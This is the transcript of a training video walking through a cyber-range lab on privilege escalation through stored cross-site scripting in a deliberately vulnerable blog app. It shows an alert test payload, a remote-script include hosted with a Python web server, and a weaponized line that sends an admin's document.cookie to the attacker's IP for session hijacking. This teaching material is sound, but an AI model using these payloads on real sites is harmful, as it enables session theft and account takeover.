Privilege escalation via cross-site scripting: Lab and walkthrough
Learn about privilege escalation, one of the key tactics in the MITRE ATT&CK® Matrix for Enterprise, in this episode of Cyber Work Applied.
What is privilege escalation in cybersecurity?
Privilege escalation attacks can take advantage of vulnerabilities in operating systems and other systems. In this lab, Infosec Principal Security Researcher Keatron Evans shows you how to use cross-site scripting to escalate privileges.
Cyber Work listeners get free cybersecurity training resources. Click below to get your free courses and other materials.
Privilege escalation lab in Infosec Skills
Below is the edited transcript of Keatron’s privilege escalation lab walkthrough, along with a portion of the code he uses.
Introduction to privilege escalation
(0:00-0:29) Hello, and welcome back. I'm Keatron Evans, and I'm going to show you privilege escalation via cross-site scripting.
This is one of my absolute favorite labs in our new cyber range because it maps to the MITRE ATT&CK framework — as all of our labs do — but it also gives you a chance to explore a way of creating privilege escalation that's not commonly shown.
How to create privilege escalation
(0:30-0:59) When we think of privilege escalation, in the world of pentesting and hacking, we're mostly talking about privilege escalation through some operating system vulnerability or some local vulnerability in a piece of software. But rarely do you get a chance to take a peek at what it looks like from the standpoint of a web application exploit like cross-site scripting.
Let's dive into it. I want to pique your interest and encourage you to go over and take a look at this lab and play with it on your own.
So let's go ahead and start it up.
Privilege escalation lab overview
(1:00-3:20)As you can see, as is the case with all of our labs, they start up almost instantly. They're very fast and very nimble in how they operate. In this lab, we will use the cyber range to look at a different method of escalating privileges.
The first step in this lab is to open a web browser on the Kali Linux machine and navigate to http://xssable:5000.
I'm just going to open my browser here, and you can open Firefox in a bunch of different ways. I know for some of you that may be newer to Linux and to Kali, you might be wondering how to start Firefox. You can actually do that from just going to the Kali icon and going into the web browser, and it would start Firefox. Alternatively, you can open a prompt and a terminal and just type Firefox, and you will get there as well.
So we're going to go ahead and go to the link that it asks us to go to. And we'll write over the one that's there already.
So we get there, and it tells us that our username is student and our password is student. So we will log in with the username and password. And now we’re logged in.
So one of the useful things about our cyber range is that it actually gives us a green checkmark to let you know that you've completed the exercise, and you won’t get that green checkmark until you've completed all parts of a step. So you’ll get green checkmarks frequently enough that you can see where you're making progress.
Another useful feature of the range is that if you need help you can click on the “need a hint” button here and it gives you information about what it is you're doing and what you might need to do differently to get the lab to do what it's supposed to do.
Since we've completed this step, we've got our green checkmark. Now I'm just going to go ahead to the next step.
Cross-site scripting attack example
(3:21-6:29) The second step says to take a look around. Click the “Users” button at the top of the right and then click on the user to view all public posts that we can’t see at this moment. Connie has made a private post that we're not able to see at the moment. Our goal will be to find a way to view this post. Fortunately for us, Connie compulsively checks blogs for new posts. Even more fortunately, XSS protection seems to have never been a concern for this web application.
So let's test what we can do with cross-site scripting by making a post. Click “my blog” and then add a post. Let's test for XSS vulnerabilities with the basic alert test. Add the following line to the body and pick the title of your choice.
I want to point out something that's different about this range here. Notice how we give you an entire scenario. You're not just going through doing exercises. We've taken the time to put the scenario together and explain exactly what you're doing in the context of an actual attack. This is much more conducive to learning than blindly going through steps without knowing what those steps are for.
So we're going to go and click on “my blog.” And we can see where our stuff is here. We can also add a post. I'm just going to click “add blog posts.” Then it says to add this particular string to the body of the post:
<script>alert(“body”);</script>
Now, we can pick where we want to put it. If I go to “need a hint,” it says “an alert XSS is one of the most basic forms of reflected XSS. Because of how common it is, it's most often filtered as well.”
In other words, yes, you can use this to check. However, it's something that is more commonly done out there. So we can copy and paste our string and then put it right into the body of our post like so.
Then we hit submit. Alright, now I want you to notice something. When you hit submit, notice that a hint comes up in real time that says “you must enter a title of your choice before you can go on.” So I'm just going to put in “KeatronXSS” as the title and then hit submit again. And then notice it successfully adds the blog post, gives me the green checkmark, and moves onto the next step. Now, that means that we were able to successfully post this with some cross-site scripting added there.
Checking if cross-site scripting worked
(6:30-7:19) What we're really going to be testing here is what happens when someone else comes in and views our post. So let’s go to the third step here. And it says that at a quick glance, nothing seemed to have changed. Before assuming that cross-site scripting is impossible, let’s take a closer look. Right-click on the page and select “View Source” near the bottom of the page.
So if I do that, and I go to “View Page Source,” now you can see that our string did get added there. So this looks exactly like the cross-site scripting attack that we made, except the word alert was filtered out because of security measures like a web application firewall or something like that.
Remote cross-site scripting attack example
(7:20- 10:21) Let's be a little more creative with our cross-site scripting attempt and use a remote script rather than placing the code directly in the post. We can do this in a number of ways. I've used iframes and other techniques for doing things like this.
Let’s go to step 4, loading a remote script. It says “if the alert tag is being filtered, we can try to evade this by loading a remote script. We will include remote script tags. JavaScript will then reach out to a web server somewhere else, pull this in and then actually execute that.”
First, we must create a new post with our upload. You know the button that we can post a script and create the post and add to the body of the script tag that we see here? What that means is you need to go back to where we were. So let's go to “need a hint here.” It says “don't forget to swap out your Kali machine’s IP address.” So we're going to go back to our blog, and we're going to add a post. Let’s call it “keatron2”
Then we can go to the body and add what we copied — and remember to change your Kali IP. Now, how do you know your Kali IP? If you don't remember that, you can ask for help. Or you can go up and open a terminal and get your IP. In my case, it's 172.20.24.38. So I'm just going to go into my post and add my attacker IP.
So we enter that as the IP address because that's our actual Kali IP. And what we're doing here is we're simulating going out to a server out on the internet somewhere. And we're just pulling it from our own server just for you to see what the exercise looks like.
Now that we've done that, we go ahead and submit. We can tell it pulled it over because we got our green checkmark. The range isn’t just looking at what commands you entered. It's also looking at the state of the actual machine to tell if what you did caused the desired reaction on the backend machine. That’s what makes the range such a powerful learning tool.
The next step is to complete the cross-site scripting.
Set up host server to complete XSS attack
(10:22-12:59) For this next step, we need to create the script. And this is where we're going to have to set up the server. It says “in order for us to pull the script from the Kali machine we’ll need to create a host for the script. Open a terminal and navigate to the XSS directory located in /root/XSS.”
Now again, if those instructions are a little bit too complex for you, you can go to need a hint and get some more information on how to do that. Or if you know how to do it, you can just open a terminal and follow the instructions and simply navigate to that directory.
root@ip-172-20-24-38:/# cd /root/XSS/
Then once you get there, you'll need to create a file named xss.js and create this file and fill it with this script right here. So I'll go ahead and copy that. I'll use nano because it doesn't tell us that we have to use a specific text editor. We've used them before in some of the other exercises. I'll create the file:
root@ip-172-20-24-38:~/XSS# nano xss.js
And this, again, is another example of where the range is not trying to dictate exactly how to do something. It's really making sure that you understand it well enough to get to the desired end result.
So we've created that file. We put the alert script in there. Now it says “this will serve as a test to make sure we can bypass the filter. Save the file. Next we'll need to host the file so that the remote script can find it. This is as simple as a single line of Python.” And what we're saying here is you can actually launch a web mini web server in Python with this line here.
So we're going to run this command from the same directory that we're actually in. And it points that out in the instructions here. So we go ahead and paste it.
root@ip-172-20-24-38:~/XSS# python3 -m http.server 80
We run it, and now we have an HTTP server running and waiting. And as you can see, we've got our green checkmark to let us know that we completed that successfully.
So last, we'll navigate back to the web application and refresh the post page. If everything's gone correctly, we should have been greeted with an alert message. So let's go ahead and do that.
Alright, so let's go back to our post page. And we'll refresh that. So we can see our refresh page there, and we can see our message. And it tells us that we've got that done.
Weaponizing the XSS script
(13:00- 16:19) Now we move on. Now that we’ve confirmed this is possible, we can weaponize it. We can modify the JS file to include or do anything we want. So now when our admin user views a blog post with their XSS cookies, it will be sent to us. And then we can use that to steal their session. If it's an admin, this will allow us to actually elevate privileges to admin just via this web form. We didn't have to hack the box and get system privileges or anything like that.
So basically, what we're doing is we need to modify our little script once more. Let's go ahead and open our terminal here, and we'll navigate back to our XSS directory.
root@ip-172-20-24-38:/# cd /root/XSS/
root@ip-172-20-24-38:~/XSS# ls
So we're just going to edit that with Nano.
root@ip-172-20-24-38:~/XSS# nano xss.js
And all we're going to do is just take this line, and we're going to replace what's in the script or in the file with this line. So we come over and get rid of what's there. We’re simply going to paste in what we copied from over here to the left. And remember you have to replace the IP address here with our actual Kali IP.
New Image().src=”https://<172.20.24.38>/”+document.cookie;
So now I can close a terminal. And this is one of the other things I like about our new range — it doesn't limit you to being linear. You can operate how you operate for real and check yourself here.
So we go ahead and save the script. It says we completed that task. We've successfully weaponized it.
And then, we go to the very last step, which is switching users. So every minute or so an admin will log in and check on posts, right? This is what admins do to make sure that nobody's posting something inappropriate, or whatever the case may be. At some point, that admin will log in here. Just from seeing that post, it should cause something to happen.
So what we're going to do is use a new cookie to log in as the admin if we want. So we can right-click “Inspect Element,” then click on the storage tab, double click and do all these other things. So to finish this lab, write out the secret code to temp code. Alright, and we can actually do this here. We can say echo and use that to do it. And again, if you're lost, you can go to need a hint and actually see what it is you're supposed to do here.
Try the privilege escalation lab yourself
(16:20-17:14) Now we're at the very last step. It's a very simple step. But I want you to do this with me. Go over right now. Work through this lab, get up to this point, and see if you can get through it. You'll be rewarded in understanding how we can use something as simple as cross-site scripting to do privilege escalation and routing.
The reason this is important is oftentimes when you run vulnerability scans, cross-site scripting will be rated as a medium and sometimes a low. But this clearly shows that given the right context it could be a critical vulnerability.
Thank you for watching. If you want to do exercises, just like what I just showed you so you can practice and get good with it, then head on over to our free cybersecurity training resources page and create your free account so you can do exactly what you just saw me do in the Advanced Adversary Tactics Cyber Range. Thanks for watching.